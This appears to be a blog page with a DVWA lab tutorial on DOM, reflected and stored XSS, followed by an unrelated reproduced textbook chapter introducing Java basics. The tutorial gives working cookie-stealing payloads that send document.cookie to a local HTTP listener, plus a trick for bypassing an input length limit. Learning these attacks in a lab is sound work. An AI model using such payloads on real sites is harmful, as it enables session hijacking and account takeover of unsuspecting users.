April 26, 2020

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Related word


April 25, 2020

An Overview Of Java



CHAPTER
2 An Overview of Java
As in all other computer languages, the elements of Java do not exist in isolation. Rather, they work together to form the language as a whole. However, this interrelatedness can make it difficult to describe one aspect of Java without involving several others. Often a discussion of one feature implies prior knowledge of another. For this reason, this chapter presents a quick overview of several key features of Java. The material described here will give you a foothold that will allow you to write and understand simple programs. Most of the topics discussed will be examined in greater detail in the remaining chapters of Part I.

Object-Oriented Programming
Object-oriented programming (OOP) is at the core of Java. In fact, all Java programs are to at least some extent object-oriented. OOP is so integral to Java that it is best to understand its basic principles before you begin writing even simple Java programs. Therefore, this chapter begins with a discussion of the theoretical aspects of OOP.
Two Paradigms
All computer programs consist of two elements: code and data. Furthermore, a program can be conceptually organized around its code or around its data. That is, some programs are written around "what is happening" and others are written around "who is being affected." These are the two paradigms that govern how a program is constructed. The first way is called the process-oriented model. This approach characterizes a program as a series of linear steps (that is, code). The process-oriented model can be thought of as code acting on data. Procedural languages such as C employ this model to considerable success. However, as mentioned in Chapter 1, problems with this approach appear as programs grow larger and more complex.
To manage increasing complexity, the second approach, called object-oriented programming, was conceived. Object-oriented programming organizes a program around its data (that is, objects) and a set of well-defined interfaces to that data. An object-oriented program can
be characterized as data controlling access to code. As you will see, by switching the controlling entity to data, you can achieve several organizational benefits.

 
Abstraction
An essential element of object-oriented programming is abstraction. Humans manage complexity through abstraction. For example, people do not think of a car as a set of tens of thousands of individual parts. They think of it as a well-defined object with its own unique behavior. This abstraction allows people to use a car to drive to the grocery store without being overwhelmed by the complexity of the parts that form the car. They can ignore the details of how the engine, transmission, and braking systems work. Instead, they are free to utilize the object as a whole.
A powerful way to manage abstraction is through the use of hierarchical classifications.
This allows you to layer the semantics of complex systems, breaking them into more manageable pieces. From the outside, the car is a single object. Once inside, you see that the car consists of several subsystems: steering, brakes, sound system, seat belts, heating, cellular phone, and so on. In turn, each of these subsystems is made up of more specialized units. For instance, the sound system consists of a radio, a CD player, and/or a tape player. The point is that you manage the complexity of the car (or any other complex system) through the use of hierarchical abstractions.
Hierarchical abstractions of complex systems can also be applied to computer programs.
The data from a traditional process-oriented program can be transformed by abstraction into its component objects. A sequence of process steps can become a collection of messages between these objects. Thus, each of these objects describes its own unique behavior. You can treat these objects as concrete entities that respond to messages telling them to do something. This is the essence of object-oriented programming.
Object-oriented concepts form the heart of Java just as they form the basis for human understanding. It is important that you understand how these concepts translate into programs. As you will see, object-oriented programming is a powerful and natural paradigm for creating programs that survive the inevitable changes accompanying the life cycle of any major software project, including conception, growth, and aging. For example, once you have well-defined objects and clean, reliable interfaces to those objects, you can gracefully decommission or replace parts of an older system without fear.
The Three OOP Principles
All object-oriented programming languages provide mechanisms that help you implement the object-oriented model. They are encapsulation, inheritance, and polymorphism. Let's take a look at these concepts now.
Encapsulation
Encapsulation is the mechanism that binds together code and the data it manipulates, and keeps both safe from outside interference and misuse. One way to think about encapsulation is as a protective wrapper that prevents the code and data from being arbitrarily accessed by other code defined outside the wrapper. Access to the code and data inside the wrapper is tightly controlled through a well-defined interface. To relate this to the real world, consider the automatic transmission on an automobile. It encapsulates hundreds of bits of information about your engine, such as how much you are accelerating, the pitch of the surface you are on, and the position of the shift lever. You, as the user, have only one method of affecting this complex encapsulation: by moving the gear-shift lever. You can't affect the transmission by using the turn signal or windshield wipers, for example. Thus, the gear-shift lever is a well-defined (indeed, unique) interface to the transmission. Further, what occurs inside the
 
transmission does not affect objects outside the transmission. For example, shifting gears does not turn on the headlights! Because an automatic transmission is encapsulated, dozens of car manufacturers can implement one in any way they please. However, from the driver's point of view, they all work the same. This same idea can be applied to programming. The power of encapsulated code is that everyone knows how to access it and thus can use it regardless of the implementation details—and without fear of unexpected side effects.
In Java, the basis of encapsulation is the class. Although the class will be examined in great detail later in this book, the following brief discussion will be helpful now. A class defines the structure and behavior (data and code) that will be shared by a set of objects. Each object of a given class contains the structure and behavior defined by the class, as if it were stamped out by a mold in the shape of the class. For this reason, objects are sometimes referred to as instances of a class. Thus, a class is a logical construct; an object has physical reality.
When you create a class, you will specify the code and data that constitute that class.
Collectively, these elements are called members of the class. Specifically, the data defined by the class are referred to as member variables or instance variables. The code that operates on that data is referred to as member methods or just methods. (If you are familiar with C/C++, it may help to know that what a Java programmer calls a method, a C/C++ programmer calls a function.) In properly written Java programs, the methods define how the member variables can be used. This means that the behavior and interface of a class are defined by the methods that operate on its instance data.
Since the purpose of a class is to encapsulate complexity, there are mechanisms for hiding the complexity of the implementation inside the class. Each method or variable in a class may be marked private or public. The public interface of a class represents everything that external users of the class need to know, or may know. The private methods and data can only be accessed by code that is a member of the class. Therefore, any other code that is not a member of the class cannot access a private method or variable. Since the private members of a class may only be accessed by other parts of your program through the class' public methods, you can ensure that no improper actions take place. Of course, this means that the public interface should be carefully designed not to expose too much of the inner workings of a class (see Figure 2-1).
Inheritance
Inheritance is the process by which one object acquires the properties of another object. This is important because it supports the concept of hierarchical classification. As mentioned earlier, most knowledge is made manageable by hierarchical (that is, top-down) classifications. For example, a Golden Retriever is part of the classification dog, which in turn is part of the mammal class, which is under the larger class animal. Without the use of hierarchies, each object would need to define all of its characteristics explicitly. However, by use of inheritance, an object need only define those qualities that make it unique within its class. It can inherit its general attributes from its parent. Thus, it is the inheritance mechanism that makes it possible for one object to be a specific instance of a more general case. Let's take a closer look at this process.
Most people naturally view the world as made up of objects that are related to each other in a hierarchical way, such as animals, mammals, and dogs. If you wanted to describe animals in an abstract way, you would say they have some attributes, such as size, intelligence, and type of skeletal system. Animals also have certain behavioral aspects; they eat, breathe, and sleep. This description of attributes and behavior is the class definition for animals.
 
 
Figure 2-1 Encapsulation: public methods can be used to protect private data.

If you wanted to describe a more specific class of animals, such as mammals, they would have more specific attributes, such as type of teeth and mammary glands. This is known as a subclass of animals, where animals are referred to as mammals' superclass.
Since mammals are simply more precisely specified animals, they inherit all of the attributes from animals. A deeply inherited subclass inherits all of the attributes from each of its ancestors in the class hierarchy.
Inheritance interacts with encapsulation as well. If a given class encapsulates some attributes, then any subclass will have the same attributes plus any that it adds as part of its specialization (see Figure 2-2). This is a key concept that lets object-oriented programs grow in complexity linearly rather than geometrically. A new subclass inherits all of the attributes of all of its ancestors. It does not have unpredictable interactions with the majority of the rest of the code in the system.

 

 
Figure 2-2 Labrador inherits the encapsulation of all its superclasses.

Polymorphism
Polymorphism (from Greek, meaning "many forms") is a feature that allows one interface to be used for a general class of actions. The specific action is determined by the exact nature of the situation. Consider a stack (which is a last-in, first-out list). You might have a program that requires three types of stacks. One stack is used for integer values, one for floating- point values, and one for characters. The algorithm that implements each stack is the same, even though the data being stored differs. In a non–object-oriented language, you would be required to create three different sets of stack routines, with each set using different names. However, because of polymorphism, in Java you can specify a general set of stack routines that all share the same names.
 
More generally, the concept of polymorphism is often expressed by the phrase "one interface, multiple methods." This means that it is possible to design a generic interface to a group of related activities. This helps reduce complexity by allowing the same interface to be used to specify a general class of action. It is the compiler's job to select the specific action (that is, method) as it applies to each situation. You, the programmer, do not need to make this selection manually. You need only remember and utilize the general interface.
Extending the dog analogy, a dog's sense of smell is polymorphic. If the dog smells a cat, it will bark and run after it. If the dog smells its food, it will salivate and run to its bowl. The same sense of smell is at work in both situations. The difference is what is being smelled, that is, the type of data being operated upon by the dog's nose! This same general concept can be implemented in Java as it applies to methods within a Java program.
Polymorphism, Encapsulation, and Inheritance Work Together
When properly applied, polymorphism, encapsulation, and inheritance combine to produce a programming environment that supports the development of far more robust and scaleable programs than does the process-oriented model. A well-designed hierarchy of classes is the basis for reusing the code in which you have invested time and effort developing and testing. Encapsulation allows you to migrate your implementations over time without breaking the code that depends on the public interface of your classes. Polymorphism allows you to create clean, sensible, readable, and resilient code.
Of the two real-world examples, the automobile more completely illustrates the power of object-oriented design. Dogs are fun to think about from an inheritance standpoint, but cars are more like programs. All drivers rely on inheritance to drive different types (subclasses) of vehicles. Whether the vehicle is a school bus, a Mercedes sedan, a Porsche, or the family minivan, drivers can all more or less find and operate the steering wheel, the brakes, and the accelerator. After a bit of gear grinding, most people can even manage the difference between a stick shift and an automatic, because they fundamentally understand their common superclass, the transmission.
People interface with encapsulated features on cars all the time. The brake and gas pedals hide an incredible array of complexity with an interface so simple you can operate them with your feet! The implementation of the engine, the style of brakes, and the size of the tires have no effect on how you interface with the class definition of the pedals.
The final attribute, polymorphism, is clearly reflected in the ability of car manufacturers to offer a wide array of options on basically the same vehicle. For example, you can get an antilock braking system or traditional brakes, power or rack-and-pinion steering, and 4-, 6-, or 8-cylinder engines. Either way, you will still press the brake pedal to stop, turn the steering wheel to change direction, and press the accelerator when you want to move. The same interface can be used to control a number of different implementations.
As you can see, it is through the application of encapsulation, inheritance, and polymorphism that the individual parts are transformed into the object known as a car. The same is also true of computer programs. By the application of object-oriented principles, the various parts of a complex program can be brought together to form a cohesive, robust, maintainable whole.
As mentioned at the start of this section, every Java program is object-oriented. Or, put more precisely, every Java program involves encapsulation, inheritance, and polymorphism. Although the short example programs shown in the rest of this chapter and in the next few chapters may not seem to exhibit all of these features, they are nevertheless present. As you
 
will see, many of the features supplied by Java are part of its built-in class libraries, which do make extensive use of encapsulation, inheritance, and polymorphism.
A First Simple Program
Now that the basic object-oriented underpinning of Java has been discussed, let's look at some actual Java programs. Let's start by compiling and running the short sample program shown here. As you will see, this involves a little more work than you might imagine.
/*
This is a simple Java program. Call this file "Example.java".
*/
class Example {
// Your program begins with a call to main(). public static void main(String args[]) {
System.out.println("This is a simple Java program.");
}
}

NOTE The descriptions that follow use the standard Java SE 7 Development Kit (JDK 7), which is available from Oracle. If you are using a different Java development environment, then you may need to follow a different procedure for compiling and executing Java programs. In this case, consult your compiler's documentation for details.
Entering the Program
For most computer languages, the name of the file that holds the source code to a program is immaterial. However, this is not the case with Java. The first thing that you must learn about Java is that the name you give to a source file is very important. For this example,
the name of the source file should be Example.java. Let's see why.
In Java, a source file is officially called a compilation unit. It is a text file that contains (among other things) one or more class definitions. (For now, we will be using source files that contain only one class.) The Java compiler requires that a source file use the .java filename extension.
As you can see by looking at the program, the name of the class defined by the program is also Example. This is not a coincidence. In Java, all code must reside inside a class. By convention, the name of the main class should match the name of the file that holds the program. You should also make sure that the capitalization of the filename matches the class name. The reason for this is that Java is case-sensitive. At this point, the convention that filenames correspond to class names may seem arbitrary. However, this convention makes it easier to maintain and organize your programs.
Compiling the Program
To compile the Example program, execute the compiler, javac, specifying the name of the source file on the command line, as shown here:
C:\>javac Example.java
The javac compiler creates a file called Example.class that contains the bytecode version of the program. As discussed earlier, the Java bytecode is the intermediate representation of
 
your program that contains instructions the Java Virtual Machine will execute. Thus, the output of javac is not code that can be directly executed.
To actually run the program, you must use the Java application launcher called java. To do so, pass the class name Example as a command-line argument, as shown here:
C:\>java Example

When the program is run, the following output is displayed:

This is a simple Java program.

When Java source code is compiled, each individual class is put into its own output file named after the class and using the .class extension. This is why it is a good idea to give your Java source files the same name as the class they contain—the name of the source file will match the name of the .class file. When you execute java as just shown, you are actually specifying the name of the class that you want to execute. It will automatically search for a file by that name that has the .class extension. If it finds the file, it will execute the code contained in the specified class.
A Closer Look at the First Sample Program
Although Example.java is quite short, it includes several key features that are common to all Java programs. Let's closely examine each part of the program.
The program begins with the following lines:

/*
This is a simple Java program. Call this file "Example.java".
*/
This is a comment. Like most other programming languages, Java lets you enter a remark into a program's source file. The contents of a comment are ignored by the compiler. Instead, a comment describes or explains the operation of the program to anyone who is reading its source code. In this case, the comment describes the program and reminds you that the source file should be called Example.java. Of course, in real applications, comments generally explain how some part of the program works or what a specific feature does.
Java supports three styles of comments. The one shown at the top of the program is called a multiline comment. This type of comment must begin with /* and end with */. Anything between these two comment symbols is ignored by the compiler. As the name suggests, a multiline comment may be several lines long.
The next line of code in the program is shown here:

class Example {

This line uses the keyword class to declare that a new class is being defined. Example is an identifier that is the name of the class. The entire class definition, including all of its members, will be between the opening curly brace ({) and the closing curly brace (}). For the moment, don't worry too much about the details of a class except to note that in Java,
all program activity occurs within one. This is one reason why all Java programs are (at least a little bit) object-oriented.
 
The next line in the program is the single-line comment, shown here:

// Your program begins with a call to main().

This is the second type of comment supported by Java. A single-line comment begins with a // and ends at the end of the line. As a general rule, programmers use multiline comments for longer remarks and single-line comments for brief, line-by-line descriptions. The third type of comment, a documentation comment, will be discussed in the "Comments" section later in this chapter.
The next line of code is shown here:

public static void main(String args[ ]) {

This line begins the main( ) method. As the comment preceding it suggests, this is the line at which the program will begin executing. All Java applications begin execution by calling main( ). The full meaning of each part of this line cannot be given now, since it involves a detailed understanding of Java's approach to encapsulation. However, since most of the examples in the first part of this book will use this line of code, let's take a brief look at each part now.
The public keyword is an access modifier, which allows the programmer to control the visibility of class members. When a class member is preceded by public, then that member may be accessed by code outside the class in which it is declared. (The opposite of public is private, which prevents a member from being used by code defined outside of its class.) In this case, main( ) must be declared as public, since it must be called by code outside of its class when the program is started. The keyword static allows main( ) to be called without having to instantiate a particular instance of the class. This is necessary since main( ) is called by the Java Virtual Machine before any objects are made. The keyword void simply tells the compiler that main( ) does not return a value. As you will see, methods may also return values. If all this seems a bit confusing, don't worry. All of these concepts will be discussed in detail in subsequent chapters.
As stated, main( ) is the method called when a Java application begins. Keep in mind that Java is case-sensitive. Thus, Main is different from main. It is important to understand that the Java compiler will compile classes that do not contain a main( ) method. But java has no way to run these classes. So, if you had typed Main instead of main, the compiler would still compile your program. However, java would report an error because it would be unable to find the main( ) method.
Any information that you need to pass to a method is received by variables specified within the set of parentheses that follow the name of the method. These variables are called parameters. If there are no parameters required for a given method, you still need to include the empty parentheses. In main( ), there is only one parameter, albeit a complicated one.
String args[ ] declares a parameter named args, which is an array of instances of the class String. (Arrays are collections of similar objects.) Objects of type String store character strings. In this case, args receives any command-line arguments present when the program is executed. This program does not make use of this information, but other programs shown later in this book will.
The last character on the line is the {. This signals the start of main( )'s body. All of the code that comprises a method will occur between the method's opening curly brace and its closing curly brace.
 
One other point: main( ) is simply a starting place for your program. A complex program will have dozens of classes, only one of which will need to have a main( ) method to get things started. Furthermore, in some cases, you won't need main( ) at all. For example, when creating applets—Java programs that are embedded in web browsers—you won't use main( ) since the web browser uses a different means of starting the execution of applets.
The next line of code is shown here. Notice that it occurs inside main( ).

System.out.println("This is a simple Java program.");

This line outputs the string "This is a simple Java program." followed by a new line on the screen. Output is actually accomplished by the built-in println( ) method. In this case, println( ) displays the string which is passed to it. As you will see, println( ) can be used to display other types of information, too. The line begins with System.out. While too complicated to explain in detail at this time, briefly, System is a predefined class that provides access to the system, and out is the output stream that is connected to the console.
As you have probably guessed, console output (and input) is not used frequently in most real-world Java applications. Since most modern computing environments are windowed and graphical in nature, console I/O is used mostly for simple utility programs, demonstration programs, and server-side code. Later in this book, you will learn other ways to generate output using Java. But for now, we will continue to use the console I/O methods.
Notice that the println( ) statement ends with a semicolon. All statements in Java end with a semicolon. The reason that the other lines in the program do not end in a semicolon is that they are not, technically, statements.
The first } in the program ends main( ), and the last } ends the Example class definition.

A Second Short Program
Perhaps no other concept is more fundamental to a programming language than that of a variable. As you probably know, a variable is a named memory location that may be assigned a value by your program. The value of a variable may be changed during the execution of the program. The next program shows how a variable is declared and how it is assigned a value. The program also illustrates some new aspects of console output. As the comments
at the top of the program state, you should call this file Example2.java.

/*
Here is another short example. Call this file "Example2.java".
*/

class Example2 {
public static void main(String args []) {
int num; // this declares a variable called num num = 100; // this assigns num the value 100 System.out.println("This is num: " + num);
num = num * 2;

System.out.print("The value of num * 2 is ");
 
System.out.println(num);
}
}
When you run this program, you will see the following output:
This is num: 100
The value of num * 2 is 200

Let's take a close look at why this output is generated. The first new line in the program is shown here:
int num; // this declares a variable called num

This line declares an integer variable called num. Java (like most other languages) requires that variables be declared before they are used.
Following is the general form of a variable declaration:
type var-name;
Here, type specifies the type of variable being declared, and var-name is the name of the variable. If you want to declare more than one variable of the specified type, you may use a comma-separated list of variable names. Java defines several data types, including integer, character, and floating-point. The keyword int specifies an integer type.
In the program, the line
num = 100; // this assigns num the value 100

assigns to num the value 100. In Java, the assignment operator is a single equal sign.
The next line of code outputs the value of num preceded by the string "This is num:".
System.out.println("This is num: " + num);

In this statement, the plus sign causes the value of num to be appended to the string that precedes it, and then the resulting string is output. (Actually, num is first converted from an integer into its string equivalent and then concatenated with the string that precedes it. This process is described in detail later in this book.) This approach can be generalized. Using the + operator, you can join together as many items as you want within a single println( ) statement.
The next line of code assigns num the value of num times 2. Like most other languages, Java uses the * operator to indicate multiplication. After this line executes, num will contain the value 200.
Here are the next two lines in the program:
System.out.print ("The value of num * 2 is "); System.out.println (num);
Several new things are occurring here. First, the built-in method print( ) is used to display the string "The value of num * 2 is ". This string is not followed by a newline. This means that when the next output is generated, it will start on the same line. The print( ) method is just like println( ), except that it does not output a newline character after each call. Now look at the call to println( ). Notice that num is used by itself. Both print( ) and println( ) can be used to output values of any of Java's built-in types.
 
Two Control Statements
Although Chapter 5 will look closely at control statements, two are briefly introduced here so that they can be used in example programs in Chapters 3 and 4. They will also help illustrate an important aspect of Java: blocks of code.
The if Statement
The Java if statement works much like the IF statement in any other language. Further, it is syntactically identical to the if statements in C, C++, and C#. Its simplest form is shown here:
if(condition) statement;
Here, condition is a Boolean expression. If condition is true, then the statement is executed. If condition is false, then the statement is bypassed. Here is an example:

if(num < 100) System.out.println("num is less than 100");

In this case, if num contains a value that is less than 100, the conditional expression is true, and println( ) will execute. If num contains a value greater than or equal to 100, then the println( ) method is bypassed.
As you will see in Chapter 4, Java defines a full complement of relational operators which may be used in a conditional expression. Here are a few:

Operator Meaning
< Less than
> Greater than
== Equal to

Notice that the test for equality is the double equal sign. Here is a program that illustrates the if statement:
/*
Demonstrate the if.

Call this file "IfSample.java".
*/
class IfSample {
public static void main(String args[]) { int x, y;

x = 10;
y = 20;
if(x < y) System.out.println("x is less than y"); x = x * 2;
if(x == y) System.out.println("x now equal to y");
 
x = x * 2;
if(x > y) System.out.println("x now greater than y");

// this won't display anything
if(x == y) System.out.println("you won't see this");
}
}
The output generated by this program is shown here:
x is less than y x now equal to y
x now greater than y
Notice one other thing in this program. The line
int x, y;

declares two variables, x and y, by use of a comma-separated list.
The for Loop
As you may know from your previous programming experience, loop statements are an important part of nearly any programming language. Java is no exception. In fact, as you will see in Chapter 5, Java supplies a powerful assortment of loop constructs. Perhaps the most versatile is the for loop. The simplest form of the for loop is shown here:
for(initialization; condition; iteration) statement;
In its most common form, the initialization portion of the loop sets a loop control variable to an initial value. The condition is a Boolean expression that tests the loop control variable. If the outcome of that test is true, the for loop continues to iterate. If it is false, the loop terminates. The iteration expression determines how the loop control variable is changed each time the loop iterates. Here is a short program that illustrates the for loop:
/*
Demonstrate the for loop.

Call this file "ForTest.java".
*/
class ForTest {
public static void main(String args[]) { int x;

for(x = 0; x<10; x = x+1) System.out.println("This is x: " + x);
}
}
This program generates the following output:
This is x: 0 This is x: 1 This is x: 2 This is x: 3
 
This is x: 4 This is x: 5 This is x: 6 This is x: 7 This is x: 8 This is x: 9
In this example, x is the loop control variable. It is initialized to zero in the initialization portion of the for. At the start of each iteration (including the first one), the conditional test x < 10 is performed. If the outcome of this test is true, the println( ) statement is executed, and then the iteration portion of the loop is executed. This process continues until the conditional test is false.
As a point of interest, in professionally written Java programs you will almost never see the iteration portion of the loop written as shown in the preceding program. That is, you will seldom see statements like this:
x = x + 1;

The reason is that Java includes a special increment operator which performs this operation more efficiently. The increment operator is ++. (That is, two plus signs back to back.) The increment operator increases its operand by one. By use of the increment operator, the preceding statement can be written like this:
x++;

Thus, the for in the preceding program will usually be written like this:
for(x = 0; x<10; x++)

You might want to try this. As you will see, the loop still runs exactly the same as it did before.
Java also provides a decrement operator, which is specified as – –. This operator decreases its operand by one.

Using Blocks of Code
Java allows two or more statements to be grouped into blocks of code, also called code blocks. This is done by enclosing the statements between opening and closing curly braces. Once a block of code has been created, it becomes a logical unit that can be used any place that a single statement can. For example, a block can be a target for Java's if and for statements. Consider this if statement:
if(x < y) { // begin a block x = y;
y = 0;
} // end of block

Here, if x is less than y, then both statements inside the block will be executed. Thus, the two statements inside the block form a logical unit, and one statement cannot execute without the other also executing. The key point here is that whenever you need to logically link two or more statements, you do so by creating a block.
 
Let's look at another example. The following program uses a block of code as the target of a for loop.

/*
Demonstrate a block of code.

Call this file "BlockTest.java"
*/
class BlockTest {
public static void main(String args[]) { int x, y;

y = 20;

// the target of this loop is a block for(x = 0; x<10; x++) {
System.out.println("This is x: " + x); System.out.println("This is y: " + y); y = y - 2;
}
}
}

The output generated by this program is shown here:

This is x: 0
This is y: 20
This is x: 1
This is y: 18
This is x: 2
This is y: 16
This is x: 3
This is y: 14
This is x: 4
This is y: 12
This is x: 5
This is y: 10
This is x: 6
This is y: 8
This is x: 7
This is y: 6
This is x: 8
This is y: 4
This is x: 9
This is y: 2
In this case, the target of the for loop is a block of code and not just a single statement. Thus, each time the loop iterates, the three statements inside the block will be executed. This fact is, of course, evidenced by the output generated by the program.
As you will see later in this book, blocks of code have additional properties and uses.
However, the main reason for their existence is to create logically inseparable units of code.
 
Lexical Issues
Now that you have seen several short Java programs, it is time to more formally describe the atomic elements of Java. Java programs are a collection of whitespace, identifiers, literals, comments, operators, separators, and keywords. The operators are described in the next chapter. The others are described next.
Whitespace
Java is a free-form language. This means that you do not need to follow any special indentation rules. For instance, the Example program could have been written all on one line or in any other strange way you felt like typing it, as long as there was at least one whitespace character between each token that was not already delineated by an operator or separator. In Java, whitespace is a space, tab, or newline.
Identifiers
Identifiers are used to name things, such as classes, variables, and methods. An identifier may be any descriptive sequence of uppercase and lowercase letters, numbers, or the underscore and dollar-sign characters. (The dollar-sign character is not intended for general use.) They must not begin with a number, lest they be confused with a numeric literal. Again, Java is case-sensitive, so VALUE is a different identifier than Value. Some examples of valid identifiers are

AvgTemp count a4 $test this_is_ok

Invalid identifier names include these:

2count high-temp Not/ok

Literals
A constant value in Java is created by using a literal representation of it. For example, here are some literals:

100 98.6 'X' "This is a test"

Left to right, the first literal specifies an integer, the next is a floating-point value, the third is a character constant, and the last is a string. A literal can be used anywhere a value of its type is allowed.
Comments
As mentioned, there are three types of comments defined by Java. You have already seen two: single-line and multiline. The third type is called a documentation comment. This type of comment is used to produce an HTML file that documents your program. The documentation comment begins with a /** and ends with a */. Documentation comments are explained in the Appendix.
 
Separators
In Java, there are a few characters that are used as separators. The most commonly used separator in Java is the semicolon. As you have seen, it is used to terminate statements. The separators are shown in the following table:

Symbol Name Purpose
( ) Parentheses Used to contain lists of parameters in method definition and invocation. Also used for defining precedence in expressions, containing expressions in control statements, and surrounding cast types.
{ } Braces Used to contain the values of automatically initialized arrays. Also used to define a block of code, for classes, methods, and local scopes.
[ ] Brackets Used to declare array types. Also used when dereferencing array values.
; Semicolon Terminates statements.
, Comma Separates consecutive identifiers in a variable declaration. Also used to chain statements together inside a for statement.
. Period Used to separate package names from subpackages and classes. Also used to separate a variable or method from a reference variable.
The Java Keywords
There are 50 keywords currently defined in the Java language (see Table 2-1). These keywords, combined with the syntax of the operators and separators, form the foundation of the Java language. These keywords cannot be used as identifiers. Thus, they cannot be used as names for a variable, class, or method.
The keywords const and goto are reserved but not used. In the early days of Java, several other keywords were reserved for possible future use. However, the current specification for Java defines only the keywords shown in Table 2-1.


abstract continue for new switch
assert default goto package synchronized
boolean do if private this
break double implements protected throw
byte else import public throws
case enum instanceof return transient
catch extends int short try
char final interface static void
class finally long strictfp volatile
const float native super while
Table 2-1 Java Keywords
 
